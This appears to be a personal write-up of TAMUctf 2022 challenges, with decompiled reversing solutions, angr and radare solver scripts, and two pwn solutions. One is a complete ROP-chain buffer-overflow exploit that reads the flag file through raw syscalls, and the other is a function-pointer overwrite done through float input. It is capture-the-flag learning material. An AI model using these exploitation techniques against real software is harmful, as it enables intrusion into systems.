Page MenuHomedesp's stash

tamuctf22.md
No OneTemporary

tamuctf22.md

### covfefe
decompile the class, and print the nArray
```java
import java.util.*;
import java.util.stream.*;
public class Main {
public static void main(String[] stringArray) {
int n;
int n2 = 35;
Integer[] nArray = new Integer[n2];
for (n = 0; n < n2; ++n) {
nArray[n] = 0;
}
nArray[0] = 103;
nArray[1] = nArray[0] + 2;
nArray[2] = nArray[0];
block16: for (n = 3; n < 8; ++n) {
switch (n) {
case 3: {
nArray[n] = 101;
continue block16;
}
case 4: {
nArray[6] = 99;
continue block16;
}
case 5: {
nArray[5] = 123;
continue block16;
}
case 6: {
nArray[n + 1] = 48;
continue block16;
}
case 7: {
nArray[4] = 109;
}
}
}
nArray[8] = 102;
nArray[9] = nArray[8];
nArray[25] = nArray[28] = nArray[7];
nArray[24] = nArray[28];
nArray[10] = 51;
nArray[11] = nArray[10] + 12 - 4 - 4 - 4;
nArray[22] = nArray[27] = nArray[0] - (int)Math.pow(2.0, 3.0);
nArray[15] = nArray[27];
nArray[12] = nArray[27];
nArray[13] = 49;
nArray[14] = 115;
block17: for (n = 16; n < 22; ++n) {
switch (n) {
case 16: {
nArray[n + 1] = 108;
continue block17;
}
case 17: {
nArray[n - 1] = 52;
continue block17;
}
case 18: {
nArray[n + 1] = 52;
continue block17;
}
case 19: {
nArray[n - 1] = 119;
continue block17;
}
case 20: {
nArray[n + 1] = 115;
continue block17;
}
case 21: {
nArray[n - 1] = 121;
}
}
}
nArray[23] = 103;
nArray[26] = nArray[23] - 3;
nArray[29] = nArray[26] + 20;
nArray[30] = nArray[29] % 53 + 53;
nArray[31] = nArray[0] - 18;
nArray[32] = 80;
nArray[33] = 83;
nArray[n2 - 1] = (int)Math.pow(5.0, 3.0);
System.out.println(Arrays.asList(nArray).stream().map(i -> String.valueOf((char)i.intValue())).collect(Collectors.joining("")));
}
}
```
### existing tooling
breakpoint before it prints how long the flag is, grab the content from the `obj` global var with IDA
### redo 1
remove the 0 ints in the `a` array to prevent null termination, convert it to char* and print
```c
#include <stdio.h>
int main(int argc, char** argv)
{
int a[] = {0x65676967,0x34427b6d,0x5f433153,0x616c5f43,0x4175476e,0x525f4567,0x78305f45,0x53414c47,0x00007d53}; //remove null term
char* flag = (char*)(&a);
printf("%s", flag)
}
```
### redo 2
add `.intel_syntax noprefix` to the top of the asm file, compile with `gcc -m32 -c redo2.S -o redo2.o` and decompile it with IDA
change all returns and if statements to assignations, rearranging if necessary
set up flag with flag length as long as the for loop (or the malloc size), and add a print at the end
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, const char **argv, const char **envp)
{
char *v4; // [esp+0h] [ebp-20h]
int m; // [esp+4h] [ebp-1Ch]
int l; // [esp+8h] [ebp-18h]
int k; // [esp+Ch] [ebp-14h]
int j; // [esp+10h] [ebp-10h]
int i; // [esp+14h] [ebp-Ch]
char* flag = "gigem{aaaaaaaaaaaaaaaaaaaaaa}";
for ( i = 0; i <= 28; ++i )
{
if ( !flag[i] )
return -1;
}
v4 = malloc(0x1Du);
for ( j = 0; j <= 28; ++j )
{
v4[j] = flag[j];
v4[j] -= 49;
}
if ( *v4 != v4[2] )
return 1;
if ( v4[1] != 56 )
return 2;
if ( *v4 != 54 )
return 3;
if ( v4[3] != 52 )
return 4;
if ( (char)v4[28] != (char)v4[5] + 2 )
return 5;
if ( v4[5] != 74 )
return 6;
if ( v4[4] != 60 )
return 7;
for ( k = 0; k <= 2; ++k )
{
v4[k + 6] = 48;
}
for ( l = 0; l <= 3; ++l )
{
v4[l + 10] = 49;
}
for ( m = 0; m <= 4; ++m )
{
v4[m + 15] = 50;
}
v4[21] = v4[15] + 1;
v4[9] = 46;
v4[14] = v4[9];
v4[20] = v4[9];
v4[22] = v4[9];
v4[27] = 1;
v4[26] = 2;
v4[23] = 3;
v4[24] = 4;
v4[25] = 0;
for ( j = 0; j <= 28; ++j )
v4[j] += 49;
printf("%s\n", v4);
}
```
### one and done
buffer overflow with PIE disabled but no libc - search for rop gadgets in binary, stitch together until syscalls can be made
reuse gets and puts provided
```py
from pwn import *
import time
p = remote("tamuctf.com", 443, ssl=True, sni="one-and-done")
#elf = ELF('./one-and-done')
#p = process('./one-and-done')
#gets
payload = b'A' * 0x128 #padding until ret
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #_edata addr for temp storage since its RW and not really used
payload += p64(0x0000000000401795) #gets
#open syscall
payload += p64(0x0000000000401f31) #pop rdx
payload += p64(0x0000000000000002) #sys_open
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #temp storage we wrote to
payload += p64(0x0000000000401713) #pop rsi
payload += p64(0x0000000000000000) #O_RDONLY
payload += p64(0x00000000004013ce) #pop rbx
payload += p64(0x0000000000000002) #set i = 2 for inc to 3 to pass `cmp i, 3` in _init_libc that we are hijacking
payload += p64(0x00000000004013ad) #mov edx to eax and syscall (sys_open)
payload += b'A' * 0x158 #_init_libc frame reset
#read syscall
payload += p64(0x000000000040100b) #pop rax
payload += p64(0x0000000000000000) #sys_read
payload += p64(0x0000000000401f31) #pop rdx
payload += p64(0x0000000000000030) #read count
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000000003) #fd for flag
payload += p64(0x0000000000401713) #pop rsi
payload += p64(0x0000000000405310) #temp storage
payload += p64(0x0000000000401f27) #simple syscall
payload += b'A' * 0x8 #ret frame
#puts
payload += p64(0x0000000000401793) #pop rdi
payload += p64(0x0000000000405310) #temp storage we wrote to
payload += p64(0x0000000000401834) #pop rdi
#time.sleep(10) #for debugger
p.sendline(payload)
p.interactive()
```
### live math love
from (mostly) trial and error + reading stack on each function call
- the first value is used for both menu choosing and the first value of the arithmetic
- the second value is used for arithmetic
- the third value is used for arithmetic AND is stored at the next function call's stack location's lower 8 bytes
- the fourth value is ignored
- the printed value is stored at the next function call's stack location's higher 8 bytes
and it repeats
as long as we use an invalid option in menu the function call's stack location wont get overwriten
so with that we want a float value to match 0x00401163 which is 5.88371e-39
and then make it so that the printed value is 0
which multiply is the easiest to use
so we can just input in sequence:
```c
3 //must use to choose multiply
0 //ensure printed value is * 0 = 0 so no unnecessary writing is made
5.88371e-39 //value we found
0 //same reason as the 0 above
0 //invalid value for triggering function pointer
```
### labyrinth
co-solved with [@Jason](https://maplebacon.org/authors/Jason/)
maze with function calls that are gated by integer arithmetic checks
angr doesnt work directly prob coz of too many branches, so we want to traverse the maze for angr first to resolve the integers needed to pass the functions
angr's cfgfast to the rescue
get shortest path from main function to the only function that calls `exit(0)` not `exit(1)` (address obtained using radare)
tried to use filtering with avoid on all node addresses that are not in the path obtained, failed
realized the path we got has indirect resolutions that are not even reachable
removed all nodes that are not called `function_*` or `main` which are the maze components and got the cfg again which has a valid path now
still doesnt work, realized we hooked scanf wrongly (scanf is hooked coz angr said its not properly emulated and stdin is painful to use)
filtering STILL doesnt work so we went with directing angr using new sim states on every node and explore the next addr instead
tada solved
```py
from pwn import *
import angr
import claripy
import r2pipe
import networkx
io = remote("tamuctf.com", 443, ssl=True, sni="labyrinth")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(io.recvline().rstrip().decode()))
exe = context.binary = ELF('elf')
r = r2pipe.open(exe.path)
r.cmd('aaa')
r.cmd('e search.in=bin.section.[x]')
target = r.cmdj('pdfj @ ' + r.cmd('/a mov edi, 0; call sym.imp.exit;').split()[0])
all_func_offsets = [func['offset'] for func in r.cmdj('aflj') if 'function_' in func['name']]
p = angr.Project(exe.path, main_opts={'base_addr': 0}, load_options={'auto_load_libs': False})
cfg = p.analyses.CFGFast()
complete = False
while not complete:
complete = True
for node in cfg.graph.nodes:
if node.function_address not in all_func_offsets and node.name and 'main' not in node.name:
cfg.graph.remove_node(node)
complete = False
break
mainNode = cfg.model.get_node(exe.sym['main'])
targetNode = cfg.model.get_node(target['addr'])
path = networkx.algorithms.shortest_path(
cfg.graph,
source=mainNode,
target=targetNode
)
nums = []
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, ptr):
u = claripy.BVS('num_%d' % len(nums), 4*8)
nums.append(u)
self.state.mem[ptr].dword = u
p.hook_symbol('__isoc99_scanf', ReplacementScanf(), replace=True)
s = p.factory.full_init_state(
add_options=set.union(
angr.options.unicorn,
{
angr.options.LAZY_SOLVES,
angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
}
)
)
sim = p.factory.simgr(s)
print("PATH: " + str([node.name for node in path]) + " (" + str(len(path)) + ")")
for node in path:
sim.explore(find=node.addr)
if sim.found:
print(node.name + " solution found")
sim = p.factory.simgr(sim.found[0])
else:
print("no solution")
solution = [sim.active[0].solver.eval(num) for num in nums]
print(solution)
io.sendline(b"".join([str(num).encode() + b'\n' for num in solution]).hex().encode())
io.interactive()
```
### unboxing
co-solved with [@Jason](https://maplebacon.org/authors/Jason/)
shellcode unravels next segment and destroys the previous one before moving on to the next segment and repeat, along with outputting to `output` for byte checking
checks 64 of the bytes not set in certain places on .data
doesnt work with angr - gets stuck at shell code probably coz of the jmps and self modifying instructions
eventually we realized:
- each segment is 0x44 bytes
- first xor starting from 00E, next one is at 052, and so on
- rcx is probably a tracker of how many bytes are remaining in the shellcode portion: starts at 0x10fe7, drops 44 each unravelling of segment
- each segment xors the entire rest of the shellcode portion not just a single segment
- composes of a constructor segment (xors everything after this segment), a data writer segment (does the main things unrelated to shellcode unravelling), a destructor segment (sets zero on the segment above and erases it)
with this data gathered, we concluded its basically russian doll - first segment uncovers everything after it, second segment uncovers everything after it, and so on... which means the last segment to be uncovered is layered in thousands of xors
and we can manually unwrap the shellcodes with xors obtained layer by layer statically
originally done with radare but scuffed coz its unstable, later with plain offsets as follows
- counter = 0x10fe7 decrement by 0x44 each cycle, or since we have to unwrap at the top, (start = 0) + 0x44 until 0x11001
- xor byte - start + 0xe + 0x2
- start writing at - start + 0x19
after quite a bit of 4am oversights and debugging we got segments that follow the structure we saw right up till the end which means we did the xor correctly
then we have to remove the constructor and destructor since those will overwrite our statically unwrapped data and corrupt it
after another bit of 5am debugging nop is also done, but we cant see how it returns and it doesnt return it just goes straight into the next program segment and segfaults
eventually we realized at the very end of data its a C3 which is a retn instruction before xoring which means we were xoring 1 too many lines of code
removing that and finally we have a working program we can run angr on
run angr after hooking read instead of using stdin, standard angr afterwards
and we get the solve script
```py
from pwn import *
import angr
import claripy
import r2pipe
io = remote("tamuctf.com", 443, ssl=True, sni="unboxing")
for binary in range(5):
with open("elf", "wb") as file:
file.write(bytes.fromhex(io.recvline().rstrip().decode()))
file.close()
exe = context.binary = ELF('elf')
r = r2pipe.open(exe.path)
r.cmd('aaa')
correct = int(r.cmd('pdfs @ main ~ str.correct_:_').split()[0], 0)
wrong = int(r.cmd('pdfs @ main ~ str.wrong_:_').split()[0], 0)
mem = r.cmdj(f'pxj 0x11001 @ 0x4080')
offset = 0;
while offset + 0x44 < 0x11001:
start = offset + 0x19
xor = mem[offset + 0x10]
# print(f"XOR to {hex(start)}")
mem[start:-1] = [byte ^ xor for byte in mem[start:-1]]
offset += 0x44
print(hex(len(mem)))
offset = 0;
while offset + 0x44 < 0x11001:
# print(f"NOP to {hex(offset)}")
mem[offset + 0x00 : offset + 0x19] = [0x90] * 0x19
mem[offset + 0x2b : offset + 0x44] = [0x90] * 0x19
offset += 0x44
print(hex(len(mem)))
with open(exe.path, 'r+b') as file:
file.seek(int(r.cmd('?p @ obj.check'), 0))
file.write(bytes(mem))
info("CORRECT = " + hex(correct))
info("WRONG = " + hex(wrong))
p = angr.Project(exe.path, main_opts={'base_addr': 0})
password_chars = [claripy.BVS("byte_%d" % i, 8) for i in range(0x40)]
password = claripy.Concat(*password_chars)
class ReplacementRead(angr.SimProcedure):
def run(self, fd, ptr, length):
self.state.memory.store(ptr, password)
p.hook_symbol('read', ReplacementRead(), replace=True)
s = p.factory.full_init_state(
add_options={
angr.options.LAZY_SOLVES,
angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY,
angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS,
}
)
sim = p.factory.simgr(s)
sim.explore(find=correct, avoid=wrong)
if sim.found:
print("solution found")
solution = sim.found[0].solver.eval(password, cast_to=bytes)
else:
print("no solution")
io.sendline(solution.hex().encode())
io.interactive()
```

File Metadata

Mime Type
text/x-python
Expires
Sat, Mar 15, 4:31 AM (12 h, 46 m)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
bb/5d/bee8a2663d27336c78f5febcc5df

Event Timeline